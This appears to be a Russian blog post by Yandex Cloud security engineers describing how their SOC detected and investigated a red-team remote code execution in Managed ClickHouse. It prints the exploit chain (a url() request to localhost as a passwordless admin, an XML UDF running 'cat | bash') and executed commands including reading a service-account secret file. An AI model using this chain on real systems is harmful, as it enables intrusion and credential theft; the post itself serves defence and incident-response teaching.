Меня зовут Вадим Осипов, я security‑инженер в команде Yandex Cloud. Вместе с моим коллегой Дмитрием Руссаком, тимлидом команды SOC‑инжиниринга, мы занимаемся комплексной безопасностью облака. Архитектура нашей облачной платформы построена так, чтобы не бояться уязвимостей Remote Code Execution в managed‑сервисах. Но мы всё ещё не хотим, чтобы злоумышленник находил RCE и эксплуатировал их.

Так что сегодня расскажем про RCE в Managed ClickHouse глазами SOC в Yandex Cloud.

Про безопасность managed-сервисов в целом

Мы уже не раз рассказывали, что такое managed‑сервис и как он устроен в Yandex Cloud. Но будет не лишним коротко напомнить, как это работает, чтобы затем понять, какие здесь могут быть проблемы, как от них защититься и как выглядела хронология атаки.

Когда клиент провайдера хочет начать использовать некий managed‑сервис Х, он получает в своей виртуальной сети пару «IP‑адрес + порт» и какие‑то аутентификационные данные.

Например, если он хочет использовать managed‑сервис Kubernetes, он получает IP‑адрес своей виртуальной сети, а порт, как правило, уже известен — 443 или 6443. С использованием IAM‑токена он начинает отправлять сетевые запросы для управления своим кластером в мастер Kubernetes.

Как это выглядит с точки зрения облачного провайдера. Для того, чтобы сервис работал, где‑то на операционной системе какой‑то виртуальной машины должен быть запущен некий процесс. Рядом, скорее всего, будут запущены ещё какие‑то процессы, обеспечивающие работу сервиса. Возможно, они будут запущены в контейнерах, а возможно — нет. Где‑то неподалёку должны быть запущены аналогичные процессы, обеспечивающие работу таких же managed‑сервисов для других клиентов.

В зависимости от multitenant‑архитектуры эти процессы могут быть запущены по‑разному. Они могут быть запущены на одной и той же виртуальной машине, которая обслуживает разных клиентов, но в разных контейнерах. Или их могут запустить на разных виртуальных машинах — в Yandex Cloud происходит именно так.

У нас под каждого клиента, под каждый отдельный managed‑сервис поднимается своя виртуальная машина. Туда помещаются процессы конкретного клиента, то есть процессы managed‑сервиса, которые к нему относится. У такой виртуальной машины есть два сетевых интерфейса. Один смотрит в сеть клиента для того, чтобы он мог взаимодействовать со своим сервисом. Другой смотрит во внутреннюю managed‑сеть для взаимодействия с приватным API, который мы называем Control Plane.

От чего мы здесь защищаемся, чего боимся, какие есть проблемы? Например, если злоумышленник найдёт RCE в managed‑сервисе, в нашем случае он окажется на одной из виртуальных машин и будет пытаться:

  • Атаковать клиентов облачного провайдера. Так как рядом с ВМ атакующего находятся ВМ, обслуживающие других клиентов, он может попытаться добраться до них и, например, похитить данные клиентов.

  • Атаковать инфраструктуру облачного провайдера. Так как в зоне досягаемости появляется новый объект — внутренний приватный API или Control Plane.

Интересный факт, что при определённых условиях эти пункты взаимозаменяемы, если облачный провайдер пользуется своими сервисами.

Например, Yandex Cloud использует свой же сервис MDB. В таком случае атакующий, получив доступ к клиентским базам данных, может получить дополнительно доступ к базе данных, которая относится к облачному провайдеру, и таким образом поломать ещё и инфраструктуру облачного провайдера.

В архитектуре нашей облачной платформы заложено, что виртуальные машины, на которых запущены процессы, соответствующие managed‑сервисам разных клиентов, автоматически считаются недоверенными. Но мы всё равно не хотим давать злоумышленнику свободу и повышать его шансы на успешную эксплуатацию уязвимостей. Так что важно минимизировать риски RCE‑уязвимостей.

Здесь несколько трудностей:

  1. В решении, лежащем в основе managed‑сервиса, часто можно исполнять код из коробки. Например, многие базы данных можно сконфигурировать так, чтобы через SQL‑интерфейс исполнять системные команды. В облачной платформе такое должно быть запрещено.

  2. Для борьбы с исполнением кода из коробки мы приносим свои патчи. Кроме того, мы приносим их, чтобы поддержать в этих продуктах ролевую модель Yandex Cloud. Сервис неизбежно становится сложнее.

  3. В основе managed‑сервиса могут лежать сложные опенсорсные продукты. Если вдруг в таких продуктах появится публичная уязвимость, то, скорее всего, будет временное окно, когда про эту уязвимость в интернете уже знают. Возможно даже есть proof of concept её эксплуатации, а сервис может быть ещё не запатчен.

Чтобы уметь защищаться от таких уязвимостей, пытаться их контролировать и обнаруживать, нам не обойтись без комплексного подхода.

Обзор используемых решений

Пройдёмся по всем нашим решениям по порядку.

  1. Мы занимаемся изоляцией процесса на уровне операционной системы. Для этого используем AppArmor, про который я подробнее расскажу чуть ниже. Также пригодится Seccomp для ограничения набора системных вызовов, которые может использовать процесс. Кроме того, ограничиваем capability процесса и используем контейнеризацию.

  2. Несмотря на то, что процесс изолирован, мы всё ещё хотим знать, что происходит. Поэтому у нас есть алерты, и мы на них реагируем. Как основной агент сбора security‑метрик и логов у нас работает Osquery. Кроме того, мы ориентируемся на логи сервисов, используем Audit Trails. Конечно же, можно использовать многие другие логи.

  3. Хорошо проверить всё описанное — изоляцию процесса, алерты, реагирования — позволяет проведение Red Team. Разумеется, мы проводим security‑review и security‑аудиты наших сервисов и новых фич.

AppArmor. Это модуль безопасности ядра Linux, который позволяет использовать мандатную модель разграничения доступа. Эта модель доступа более строгая, чем дискретная модель управления доступом DAC, которая по умолчанию применяется в Linux.

Как это работает: вы ставите себе AppArmor и описываете для приложения профиль, где указываете всё, что приложению разрешено делать. Не указанное в профиле автоматически считается запрещённым. Вот схема работы.

Допустим, у нас есть некоторый процесс, запущенный в User space. Все его взаимодействия с операционной системой так или иначе сводятся к осуществлению системных вызовов. Когда этот системный вызов попадает в ядро, он сначала проходит проверку дискретной модели управления доступом DAC, которая в Linux реализована по умолчанию. После этого проверка попадает на LSM‑интерфейс, который переадресует принятие решения AppArmor‑модулю. AppArmor‑модуль сверяет действия по базе активных профилей для приложений и принимает решение, можно ли продолжить выполнение этого действия или нужно его отклонить.

У профиля AppArmor есть два режима работы. 

  1. Enforce — всё, что не внесено в профиль приложения, будет запрещено. 

  2. Complain — все действия будут разрешены. В том числе разрешены те действия, которые в профиле не описаны. Но выход за границы профиля будет залогирован, AppArmor создаст событие. 

Мы в Yandex Cloud используем оба режима. Профиль для ClickHouse в своё время был в режиме Complain, что помогло нам задетектировать эксплуатацию уязвимости.

Пример профиля:

#include <tunables/global>
/bin/ping flags=(complain) {
 #include <abstractions/base>
 #include <abstractions/consoles>
 #include <abstractions/nameservice>

 capability net_raw,
 capability setuid,
 network inet raw,

 /bin/ping mixr,
 /etc/modules.conf r,
}

Если посмотреть на вторую строчку — можно понять, что этот профиль будет применён для процессов, запущенных из бинарного файла /bin/ping. Флаг complain указывает на то, что профиль будет в complain‑режиме. То есть все действия будут разрешены, ничего не запрещается, но будет залогирован выход за границы профиля — все не описанные в профиле действия, которые будет осуществлять процесс.

Что ещё можно ограничить с помощью AppArmor? Первое и самое популярное — доступ к файлам. Если присмотреться к последней строчке, там стоит permission r на файл /etc/modules.conf. Можно догадаться, что это означает: процессу разрешено читать этот файл. Кроме того, можно ограничить capabilites процесса, mount, сеть, межпроцессорное взаимодействие и так далее.

Хронология RCE в Yandex Managed Service for ClickHouse

Сначала несколько фактов.

  1. Нужно понимать, что в ClickHouse можно исполнять команды операционной системы. Если вы скачаете ClickHouse из интернета и установите себе на ноутбук, вы сможете его сконфигурировать так, чтобы через SQL‑интерфейс исполнять системные команды. В Yandex Cloud такое запрещено.

  2. Рассматриваемую здесь RCE обнаружили внешние исследователи в ходе активности Red Team. При этом у нас сработали алерты в реальном времени: мы обнаружили, что кто‑то эксплуатирует RCE‑уязвимость, и смогли быстро сервис запатчить, то есть пофиксить уязвимости.

Чтобы осознать, как исследователи проэксплуатировали RCE, надо понять, что в ClickHouse есть функция URL.

Вы можете сделать SELECT * FROM url и отправить куда‑нибудь сетевой запрос. Этим воспользовались исследователи, чтобы повысить привилегии в Managed ClickHouse.

У нас в Yandex Cloud в этой базе данных есть системный привилегированный пользователь _admin. По умолчанию мы клиенту не даём возможность использовать этого пользователя базы данных. Но в данном кейсе была допущена ошибка, и с localhost можно было подключиться от имени этого пользователя без пароля. Исследователи сделали это с помощью функции URL. Они отправили HTTP‑запрос на localhost, на HTTP‑интерфейс ClickHouse, передали имя пользователя, пустой пароль и смогли выполнить запрос, который был передан в параметре GET‑запроса, от имени системного привилегированного пользователя, таким образом повысив свои привилегии.

SELECT
	column1
FROM
	url(
	 ‘http://127.0.0.1^8123/?query=SELECT+user()’,
	 LineAsString,
	 ‘column1 String’,
 headers(‘X-ClickHouse-User’=‘_admin’, ‘X-ClickHouse-Key’=’’)
)

Следующий факт. В сервисе Managed ClickHouse в Yandex Cloud при создании или изменении инстанса базы данных мы ограничиваем набор конфигураций, которые клиент может менять. Но исследователи нашли XML injection в нашем API, что позволило им сконфигурировать те опции, которые мы конфигурировать просто не разрешаем.

Первая опция, которую они использовали, — user_files_path. Если у вас в ClickHouse есть права взаимодействовать с файловой системой, писать файлы или читать, то вы будете ограничены значением этого параметра. Вы не сможете выйти за его пределы. Но они установили его в корень, что позволило им взаимодействовать с файловой системой из корня.

Второй параметр — user_defined_executable_functions_config. О чём он говорит? Что пути или файлы, которые будут в значении этого параметра, ClickHouse попытается прочитать и превратить в UDF‑функции, в user defined functions. Это и есть способ исполнения системных команд в ClickHouse.

Общая цепочка выглядела так.

  1. Они повысили свои привилегии до системного привилегированного пользователя _admin. Это позволило им писать файлы на файловую систему.

  2. Они выставили параметр user_files_path в слэш, что позволило им писать и читать файлы из корня. Затем они создали в директории tmp‑файл с таким содержанием:

    <functions>
     <function>
      <type>executable</type>
      <name>exec_it</name>
      <return_type>String</return_type>
      <argument>
       <type>String</type>
       <name>cmd</name>
      </argument> 
      <format>RawBLOB</format>
      <command>cat | bash</command> 
      <execute_direct>0</execute_direct> 
     </function>
    </functions>

    Это XML‑файл с описанием UDF‑функции. Здесь видно, что её тип — исполняемая, имя — exec_it, и команда, которая будет исполнена, — cat | bash.

  3. Подменив параметр user_defined_executable_functions_config и указав туда директорию tmp, они как раз добились того, что ClickHouse прочитал этот файл и создал внутри себя функцию, которую можно было использовать для исполнения команд операционной системы.

Вот кусочек истории SQL‑запросов с их инстанса.

SELECT exec_it('id'); 
SELECT exec_it('ps uaxww'); 
SELECT exec_it('ps uaxww') FORMAT RawBLOB; 
SELECT exec_it('id;id') FORMAT RawBLOB; 
SELECT exec_it('id') FORMAT RawBLOB; 
SELECT exec_it('ps uaxwww') FORMAT RawBLOB; 
SELECT exec_it('ip a') FORMAT RawBLOB; 
SELECT exec_it('ls -lah /opt/yandex/') FORMAT RawBLOB; 
SELECT exec_it('cd /tmp') FORMAT RawBLOB; 
SELECT exec_it('cd /tmp; Is -lah’) FORMAT RawBLOB;

Видно, что они делали SELECT exec_it, а дальше — команды операционной системы: id, ps и так далее.

Взгляд со стороны SOC

Теперь посмотрим, как мы расследовали этот инцидент с технологической и процессной точки зрения. Мы рассмотрели, как работает AppArmor, теперь про то, как мы собираем события и анализируем их.

Для нативного сбора событий AppArmor мы используем Osquery. Чтобы их собирать, мы законтрибьютили в Osquery таблицу, которая называется apparmor_events.

На примере этой таблицы видим, какие поля там собираются. Это само сообщение от AppArmor, имя профиля и другие поля, которые помогают нам расследовать произошедшее на хосте.

Но нам недостаточно понимать, что пришло сообщение AppArmor. Нужно понимать, где находится хост, чтобы расследовать инцидент, призывать дежурного от сервиса, проводить более глобальную аналитику, алертить и интегрировать алерты в процесс разбора.

Для этого мы сделали ещё одну таблицу, которая называется ycloud_instance_metadata и позволяет понять, в какой папке и каком облаке находится тот или иной хост. Эта таблица дёргает metadata API Yandex Cloud и дописывает эту информацию в таблицу Osquery.

Результирующее событие AppArmor выглядит так.

Первая часть здесь — всё, что связано с самими полями AppArmor. А дальше — с помощью декораторов Osquery мы дописываем в каждое событие информацию о том, что это за инстанс, какие у него координаты — folder ID, cloud ID и другие параметры.

Пайплайн, который мы используем для сбора событий Osquery, довольно стандартный.

Osquery подписывается на события аудита AppArmor и формирует свой ивент. После этого ивенты по HTTPS отправляются в обработчик событий Osquery, который называется Osquery Sender. У нас он самописный, но можно использовать Vector или что‑то подобное. Он разделяет события Osquery, потому что по умолчанию они отправляются батчем (в последних версиях Osquery добавили параметр, который позволяет отправлять события по одному).

Далее Osquery Sender в зависимости от типа события перенаправляет их в различные хранилища: это может быть ClickHouse или ваша SIEM‑система. Для чего это нужно и полезно? Допустим, можно отправлять в SIEM‑систему только те события, которые используются для алертинга и базового расследования инцидентов, а в более дешёвое хранилище — тяжёлые события, например, связанные с process execution, socket events.

Прокрутив этот пайплайн, мы получаем алерт следующего вида.

Разбор такого алерта — это коллаборация между несколькими командами: SOC, Incident response и команда, которая отвечает за поддержку и развитие конкретного сервиса, так как AppArmor используется во всех сервисах Yandex Cloud.

Разбор алерта выглядит следующим образом: в начале срабатывание разбирается дежурными аналитиками SOC. Они производят базовый триаж и понимают: это true positive или false positive. Дальше дежурные или закрывают тикет, или дотюнивают алерт, или эскалируют дальше.

В этом случае, как мы видим, процесс ClickHouse запускает bash. Этого в природе быть не должно, потому что такое поведение ограничено профилем AppArmor, мы отключали эту функциональность. Дежурные призвали команду сервиса, которая отвечает за конкретный хост, и команду Incident response. Далее алерт эскалировался в инцидент, произошло расследование.

Здесь хочется сказать отдельное спасибо командам, которые поддерживают свои сервисы, потому что они сильно помогают в рамках расследований.

Покажу подробнее, что подозрительного мы увидели в алерте.

Мы видим, что процесс clickhouse начинает спаунить /bin/bash, потом ещё один /bin/bash, и потом выполняется команда id. Нас это настораживает. Но что же это такое? 

  • Первый процесс clickhouse — это тот, который крутится непосредственно в кластере ClickHouse.

  • Следующий за ним bash нужен для того, чтобы запустить UDF‑функцию, про которую мы уже рассказали.

  • Второй bash — это то, что было внутри этой функции, там была команда cat | bash, а id — это команда, которая была передана на вход этой функции. Security‑инженеры со своей стороны увидели это в кусочке с SQL‑запросами, где был exec_it, а в скобках — параметр, который передаётся.

Далее в рамках расследования аналитики восстановили, какие действия совершались на хосте, и нашли, что были стандартные команды, связанные с разведкой, то есть id, ps, aux и т. д. Но помимо этого мы заметили ещё одну интересную строчку.

Мы видим, что была попытка обращения к системному сервисному аккаунту Yandex Cloud. Если им завладели злоумышленники (в нашем случае исследователи Red Team), они дальше могут использовать его для того, чтобы исследовать внутреннюю инфраструктуру облачного провайдера, закрепиться на ней и совершать какие‑то манипуляции.

Также мы обнаружили в событиях аудита ClickHouse такую запись.

SELECT exec_it(“cat /etc/pushclient/billing‑yc.secret”);

Что мы имеем к этому моменту: у нас есть RCE, исполнение команд разведки, а также попытки обращения к секрету системного сервисного аккаунта.

Дальше мы распараллелили треки.

  1. Один трек был связан с тем, чтобы проанализировать, что происходило на хосте — снять дампы, посмотреть, что там было ещё, провести базовый анализ или более глубокий.

  2. Второй — это раскручивание цепочки в рамках самого сервиса вместе с командой ClickHouse, которая разрабатывает и поддерживает сервис.

  3. Также нам нужно было понять, утёк секрет или нет. И если была утечка, то какие действия совершались в облаке, закреплялся ли дальше исследователь или не закреплялся.

В этом нам помогает Audit Trails — это сервис, который служит для сбора и выгрузки аудитных событий, связанных с облачными ресурсами. Этот сервис проинтегрирован с большинством сервисов Yandex Cloud и позволяет собирать события Control Plane и Data Plane.

  • События Control Plane — события, связанные с уровнем управления. Допустим, если была создана виртуальная машина в сервисе Compute, мы выясняем: кто создал ресурс, откуда он пришёл, как изменился ресурс.

  • События Data Plane — события, непосредственно связанные с работой самого сервиса. Скажем, если было обращение к секрету Lockbox, то нам интересно: какие изменения были в БД или объектном хранилище, какие были запросы к DNS.

Audit Trails поможет нам найти ответы на эти вопросы. Список того, что логирует Audit Trails, постоянно расширяется и помогает более детально исследовать происходящее в облаке.

События состоят из нескольких блоков.

Первый блок — это информация о субъекте, о том, кто выполнял то или иное действие. Это может быть сервисный аккаунт, обычный пользователь или федеративный. Поля subject_id, subject_name, subject_type указывают на идентификаторы субъекта.

Далее идёт блок details, который различается в зависимости от сервиса. Это информация об объекте, над которым совершалось то или иное действие. Допустим, это информация, что был создан кластер managed ClickHouse или виртуальная машина.

Третий блок — это метадата: тип произведённого запроса, откуда пришёл пользователь или сервисный аккаунт, какой user agent он использовал и сам уникальный идентификатор запроса.

И последний блок рассказывает нам о том, где расположен тот или иной ресурс, объект, с которым происходило действие — в какой он организации, в каком он облаке, в какой папке.

Общая схема того, как мы в SOC собираем Audit Trails.

Audit Trails позволяет нативно отправлять данные в Yandex Data Streams, брокер сообщений. Наши потребители после этого вычитывают из Data Streams поток событий и перенаправляют их в холодное хранилище для долгосрочного хранения, а также в SIEM‑систему, для алертинга и реагирования.

Если вдруг SIEM нет, то можно использовать нативный дата‑пайплайн.

Данные отгружаются в Object Storage или Data Streams, и к ним можно обращаться с помощью Yandex Query, это SQL‑like язык запросов. Вот так, например, можно найти список всего, связанного с сервисным аккаунтом.

$table = SELECT 
JSON_VALUE(Json, "$.request_metadata_remote_address") request_metadata_remote_address, 
JSON_VALUE(Json, "$.subject_id") subject_id, 
JSON_VALUE(Json, "$.subject_name") subject_name, 
JSON_VALUE(Json, "$.resource_metadata_cloud_name") resource_metadata_cloud_name, 
JSON_VALUE(Json, "$.at_event_type") at_event_type, 
JSON_VALUE(Json, "$.request_metadata_user_agent") request_metadata_user_agent, JSON_VALUE(Json, "$.at_details") at_details 

FROM 
`s3norm` 

WHERE subject_id =="a******6";

Мы хотим узнать, откуда пришел пользователь, какие ресурсы он трогал. Для этого мы можем составить примерный вид запроса. Мы фильтруем, какой subject_id нас интересует, и далее — какие поля мы хотим. Допустим, адрес, с которого пришёл subject_id, его subject_name, облако, в котором произошло то или иное событие, тип этого события, user agent и дополнительная информация о самом событии.

После того, как мы сформировали такую таблицу, можно на её базе сделать дополнительную аналитику.

SELECT
 subject_id,
 AGGREGATE_LIST(DISTINCT request_metadata_remote_address) as list_of_ip 
FROM
 $table 
GROUP BY subject_id; 

SELECT
 subject_id,
 AGGREGATE_LIST(DISTINCT request_metadata_user_agent) as list_of_user_agents, 
FROM
 $table 
GROUP BY subject_id;

Допустим, как здесь: найди мне, пожалуйста, все уникальные IP‑адреса для этого сервисного аккаунта, откуда он приходил. Или — найди мне, пожалуйста, все уникальные юзер‑агенты для этого сервисного аккаунта.

Можно немного покрутить этот запрос и добиться следующего вида: найди мне, пожалуйста, все типы событий от этого сервисного аккаунта, которые были сделаны с определённого IP.

Запросы в рамках расследования — это хорошо, но хочется находить подозрительную активность мгновенно. Или почти мгновенно. Audit Trails хорошо для этого подходит. Все алерты, которые можно на нём сделать, делятся на две части.

  1. Есть алерты, связанные с CSPM, которые помогут предотвратить атаку в будущем. Допустим, вы открыли свои бакеты наружу или у вас API Kubernetes торчит с белым IP наружу.

  2. Есть алерты, непосредственно связанные с поиском угроз. Audit Trails помогает закрыть большое количество тактик и техник в рамках этих тактик, если мы говорим про матрицы MITRE. Это помогает создавать какие‑то свои кастомные правила.

Здесь приведены три алерта, которые мы реализовали у себя. Это просто примеры, чтобы понять, как можно использовать Audit Trails, — вариантов реализации может быть гораздо больше.


Первый алерт нам говорит о том, что было обращение к ресурсам Yandex Cloud из внешних сетей от имени сервисного аккаунта. Согласно нашим политикам, нельзя выпускать авторизационные ключи, а ещё мы контролируем, чтобы сервисные аккаунты не использовались извне, если говорить про системную организацию. Мы умеем собирать все наши IP и отличать, наш это IP или не наш. Заворачиваем это в лукап, лукапим эти данные с событиями Audit Trails и на выходе получаем такой алерт.

Следующий алерт — больше про CSPM, когда обнаружен ресурс с широкими правами доступа. Допустим, S3 bucket закрыт, он не публичный, но доступ к этому S3 bucket имеет вся организация. У вас в организации десять тысяч сотрудников, и каждый может полистить, что у вас там находится. Мы такого не хотим, а хотим это контролировать. Этот алерт направлен именно на это.

Последний алерт — статистический. Мы пытаемся найти и находим аномальное количество обращений к секретам Lockbox. Мы накапливаем статистику по обращениям к секретам — первый сервисный аккаунт плюс добираем туда метаинформацию. После этого мы считаем перцентили или пятидесятый перцентиль, то есть медиану. И потом мы ищем среднеквадратическое отклонение для того, чтобы найти какую‑то аномалию.

Что мы нашли в рамках исследования активности по Audit Trails

В общем‑то, мы не нашли ничего. Это связано с тем, о чём мы рассказали раньше. Мы распараллелили треки. И при анализе хостовой части выяснилось, что пользователь ClickHouse, от которого исследователи получили RCE, не имел прав на чтение этого секрета. Соответственно, секрет у нас не утёк. Но мы его, конечно, всё равно рутировали на всякий случай.

Спасибо всем, кто дочитал до конца. Вступайте в наше Security‑сообщество и задавайте свои вопросы.

Комментарии (0)